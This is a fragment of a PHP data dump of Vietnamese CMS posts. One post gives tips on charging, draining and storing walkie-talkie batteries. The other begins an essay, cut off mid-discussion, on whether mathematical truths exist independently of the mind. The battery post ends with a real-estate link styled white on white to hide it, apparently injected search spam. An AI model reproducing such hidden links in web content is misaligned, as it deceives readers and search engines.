'shortdes' => '<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
<span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Độ bền và tuổi thọ của pin không chỉ phụ thuộc chủ yếu vào loại chất liệu sản xuất pin mà còn phụ thuộc vào các yếu tố khác trong quá trình sử dụng như: sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p>
<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
<span style="font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để đảm bảo sử dụng pin sạc hiệu quả, người sử dụng cần phải nắm rõ các yêu cầu kỹ thuật về quy trình sạc pin, sử dụng pin, xả pin và bảo quản cất giữ pin sạc.</span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<br />
</p>
',
'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(85, 85, 85); text-align: justify;"><span style="background-color:#ffffff;">Ngày nay, pin sạc dùng cho các thiết bị điện tử viễn thông nói chung và máy bộ đàm nói riêng thường chủ yếu bao gồm các loại Nikel Cadmium (Ni-Cd), Nikel Metal Hyderide (Ni-MH) và Lithium Ion (Li-Ion). </span></span></span></span><br />
<br />
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Trong đó:</span></span></span></p>
<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
</p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-Cd (Nikel Cadmium) là loại pin có dung lượng trung bình, được sản xuất từ hỗn hợp Niken và Cadmium, trong đó Cadmium là một chất độc hại, gây ảnh hưởng xấu đến môi trường sau khi ngưng sử dụng.</span></span></span></p>
<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Ni-MH (Nikel Metal Hydride) là một kiểu pin sạc tương tự như pin Ni-Cd nhưng sử dụng hỗn hợp hấp thu Hiđrua thay cho Cadmium. Pin Ni-MH thường có dung lượng điện lớn gấp 2 - 3 lần so với pin NiCd cùng kích thước.</span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">- Pin Li-Ion (Lithium Ion) là loại pin dung lượng cao, cho phép sạc nhồi khi đang sử dụng. Loại pin này hiện tại đang được ưa chuộng sử dụng bởi các tính năng vượt trội của nó như: trọng lượng pin nhẹ, dung lượng lưu trữ cao, không có hiệu ứng nhớ, mức tự xả thấp, có thể sạc nhồi khi đang sử dụng.</span></span></span><br />
</p>
<p style="user-select: text; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bảng so sánh các loại pin máy bộ đàm:</span></span></span></span></p>
<p style="background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><img alt="" src="http://giamaybodam.vn/data/upload/images/Pinmaybodam.jpg" style="user-select: text !important; border: 0px; background: 0px 0px; font-weight: inherit; margin: 0px !important; padding: 0px; outline: 0px; vertical-align: top;" /></span></span></p>
<p style="user-select: text; text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách sạc pin máy bộ đàm: </span></span></span></span><br />
<br />
<span style="background-color: rgb(255, 255, 255); font-size: 14px; font-family: tahoma, geneva, sans-serif;">Để sạc pin máy bộ đàm, chúng ta thường sử dụng bộ sạc đi kèm theo pin của nhà sản xuất. </span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Có 2 loại sạc: bộ sạc nhanh và bộ sạc tiêu chuẩn</span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc nhanh</span></span></em></span></span></p>
<ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;">
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc pin với dòng sạc (Ampe) cao, thời gian sạc pin ngắn từ 2 – 4 giờ. Các bộ sạc nhanh thường được thiết kế với bo mạch điều khiển sạc (sạc thông minh) nhằm để tránh trường hợp sạc quá mức, có thể gây hư hỏng pin hoặc gây ra những yếu tố không an toàn, nguy hiểm.</span></span></span></li>
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc nhanh ta cần phải chú ý đến tình trạng pin khi sạc, nếu pin nóng quá mức thì nên lấy pin ra và ngưng sạc đợi đến khi pin nguội bình thường rồi tiến hành sạc lại cho đến khi pin thực sự đầy. Đối với pin mới (mới mua hoặc để lâu giờ mới sử dụng lại) ta nên sạc 2 lần cho thật đầy rồi mới sử dụng.</span></span></span></li>
</ul>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;"> </span><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Bộ sạc tiêu chuẩn</span></span></em></span></span></p>
<ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;">
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Là bộ sạc thường, thời gian sạc dài từ 8 – 16 giờ (hoặc hơn) tùy theo từng loại pin và loại sạc.</span></span></span></li>
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin với bộ sạc tiêu chuẩn nếu là pin mới mua hoặc pin để lâu giờ mới đem ra sử dụng ta hãy sạc từ 12 – 16 giờ trước khi sử dụng, những lần sau đó ta chỉ nên sạc trung bình 8 - 10 giờ.</span></span></span></li>
</ul>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;"> </span></span></em><em style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Những lưu ý khi sạc pin</span></span></em></span></span></p>
<ul style="list-style-type: none; margin: 0px; background: 0px 0px rgb(249, 249, 249); padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; text-align: justify; user-select: text !important;">
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Khi sạc pin bằng bộ sạc rời (tức là không phải cắm sạc qua máy như laptop) ta nên tháo pin ra khỏi máy để sạc hoặc là tắt máy đi nếu như sạc pin kèm với máy. Điều này không những giúp nâng cao hiệu suất sạc pin mà còn tránh được trường hợp pin bị “chai kỹ thuật” hoặc những tác động không mong muốn đến máy.</span></span></span></li>
<li style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Nên sạc pin khi pin đã được sử dụng hết (không thể vận hành thiết bị - mở máy) nên để pin nguội trước khi sạc, sau khi sạc nên để pin thật nguội trước khi lắp vào thiết bị sử dụng. Điều này rất quan trọng đối với pin Ni-Cd vì nhiệt độ càng cao thì khả năng lưu trữ và bảo quan pin càng thấp. </span></span></span></li>
</ul>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách xả pin máy bộ đàm</span></span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Xả pin là một quy trình cần thiết cho việc nâng cao hiệu quả sử dụng pin sạc. Có rất nhiều cách xả pin như: xả pin kỹ thuật, xả pin bằng bộ sạc xả chuyên dùng, xả pin bằng thiết bị sử dụng… </span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Đối với máy bộ đàm thường thì người ta dùng máy để xả pin nếu như chưa trang bị bộ sạc xả chuyên dụng. </span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin máy bộ đàm được làm từ nhiều viên pin nối kết với nhau vì vậy khi xả pin cần phải chú ý để tránh trường hợp “đảo cực”. Các viên pin không bao giờ hoàn toàn giống nhau, vì thế không tránh được tình trạng một viên sẽ bị xả hết hoàn toàn trước những viên khác. Khi điều này xảy ra, viên pin "tốt" sẽ bắt đầu "biến" viên đã xả hết đảo chiều, điều này có thể khiến viên pin đó hỏng. </span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="user-select: text !important; background: 0px 0px; font-weight: inherit; margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top;"><span style="background-color:#ffffff;">Cách bảo quản pin máy bộ đàm</span></span><br style="user-select: text !important;" />
<br style="user-select: text !important;" />
<span style="background-color:#ffffff;">Nếu trong quá trình ta không sử dụng máy, ta nên bảo quản bằng cách sạc pin đầy và tháo pin rời thân máy trước khi bảo quản cất giữ, sau đó cứ mỗi tháng ta nên sạc lại đầy pin 01 lần. </span></span></span></p>
<p style="text-align: justify; background: 0px 0px rgb(249, 249, 249); margin: 0px; padding: 0px; border: 0px; outline: 0px; vertical-align: top; color: rgb(85, 85, 85); font-family: arial; user-select: text !important;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="background-color:#ffffff;">Pin không sử dụng trong một khoảng thời gian cần phải được sạc đầy trước khi sử dụng. Cũng vì lý do này mà các pin mới cần phải trải qua vài lần sạc - xả mới có thể đạt được mức dung lượng điện công bố. </span></span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;"><span style="background-color: rgb(255, 255, 255); font-family: Arial, Verdana, sans-serif;">Chung cư Goldlight Khuất Duy Tiến</span></span></a></p>
',
'images' => '2017050808014443070999c12ebb927c696a6f2bf4ffa7.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2017-05-08',
'modified' => '2025-08-10',
'status' => '1',
'view' => '69053',
'slug' => 'huong-dan-sac-pin-may-bo-dam-dung-ky-thuat',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '845',
'rght' => '846',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$detailNews = array(
'Post' => array(
'id' => '410',
'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)',
'code' => null,
'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<div>
Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
<br />
<strong>Từ một cuộc gặp</strong><br />
<br />
<img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div>
<div>
</div>
<div>
Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div>
<div>
</div>
<div>
Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div>
<div>
</div>
<div>
Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div>
<div>
</div>
<div>
<strong>Dẫn chuyện</strong></div>
<div>
</div>
<div>
Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div>
<div>
</div>
<div>
Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div>
<div>
</div>
<div>
Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div>
<div>
</div>
<div>
Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div>
<div>
</div>
<div>
Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div>
<div>
Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div>
<div>
</div>
<div>
Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div>
<div>
</div>
<div>
Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div>
<div>
</div>
<div>
Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div>
<div>
</div>
<div>
Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div>
<div>
</div>
<div>
Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div>
<div>
</div>
<div>
Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div>
<div>
</div>
<div>
Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div>
<div>
</div>
<div>
Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div>
<div>
</div>
<div>
Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div>
<div>
</div>
<div>
Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div>
<div>
</div>
<div>
<strong>Tán gẫu qua mạng</strong></div>
<div>
</div>
<div>
Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div>
<div>
</div>
<div>
Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div>
<div>
</div>
<div>
Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div>
<div>
Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div>
<div>
</div>
<div>
Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div>
<div>
</div>
<div>
Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div>
<div>
</div>
<div>
Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div>
<div>
</div>
<div>
Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div>
<div>
</div>
<div>
Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div>
<div>
</div>
<div>
Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div>
<div>
</div>
<div>
Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div>
<div>
</div>
<div>
